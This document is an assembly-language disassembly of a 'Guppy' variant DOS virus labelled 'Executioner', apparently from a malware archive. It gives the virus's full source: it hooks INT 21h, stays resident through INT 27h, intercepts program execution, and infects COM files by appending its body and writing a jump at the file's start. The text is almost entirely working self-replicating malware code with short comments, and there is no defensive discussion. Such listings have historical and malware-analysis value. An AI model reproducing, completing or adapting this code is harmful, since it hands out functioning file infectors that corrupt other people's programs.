Disassembly: Guppy variant
Executioner
; Guppy is a resident COM infector, that uses the INT 27 method of staying
; resident.  On the first execution, the program will not run, but subsequent
; executions will work properly.

.model	tiny
v_length equ	v_finish-v_start
cseg	segment
	assume	cs:cseg,ds:cseg,es:cseg,ss:cseg
	org	0h
v_start:
	call	delta
delta:
	pop	si
	mov	ax, 3521h		; get the original int 21h handler
	mov	bx, ax			; and perform residency check
	int	21h
	mov	ds:[si+old_int21-offset delta], bx
	mov	ds:[si+old_int21+2-offset delta], es
	mov	dx, si
	add	dx, offset new_int21-offset delta
	mov	ah, 25h 		; set the new int 21h handler
	int	21h
	inc	dh			; bytes to stay resident+=100h
	push	cs
	pop	es
	int	27h			; terminate but stay resident
new_int21:
	cmp	ax, 4b00h
	je	infect_file
	cmp	al, 21h
	jne	do_orig_int
	cmp	ax, bx
	jne	do_orig_int
	push	word ptr [si+save_data-delta]
	mov	bx, 100h
	pop	word ptr [bx]
	mov	cl, [si+save_data-delta+2]
	mov	[bx+2], cl
restore_control:
	pop	cx			; pop return offset
	push	bx			; push 100h as return offset
	iret
save_data db	3 dup (0)
infect_file:
	push	ax			; save registers
	push	bx
	push	dx
	push	ds
	mov	ax, 3d02h
	int	21h
	xchg	bx, ax
	call	delta2
delta2:
	pop	si
	push	cs
	pop	ds
	mov	ah, 3fh
	mov	cx, 3
	sub	si, delta2-save_data
	mov	dx, si
	int	21h
	cmp	byte ptr [si], 0e9h	; check for infection
	jne	close_file
	mov	ax, 4202h		; seek to eof
	xor	cx, cx
	xor	dx, dx
	int	21h
	xchg	di, ax
	mov	ah, 40h 		; concatenate virus body
	mov	cl, v_length
	mov	dx, si
	sub	dx, 40h
	int	21h
	mov	ax, 4200h		; seek to sof
	xor	cx, cx
	xor	dx, dx
	int	21h
	mov	cl, 3			; jump offset=file length-3
	sub	di, cx
	mov	[si+1], di
	mov	ah, 40h 		; write jump to sof
	mov	dx, si
	int	21h
close_file:
	mov	ah, 3eh 		; close file
	int	21h
	pop	ds			; restore registers
	pop	dx
	pop	bx
	pop	ax
do_orig_int:				; pass control to original handler
	db	0eah
old_int21 dd	?
v_finish:
cseg	ends
	end	v_start
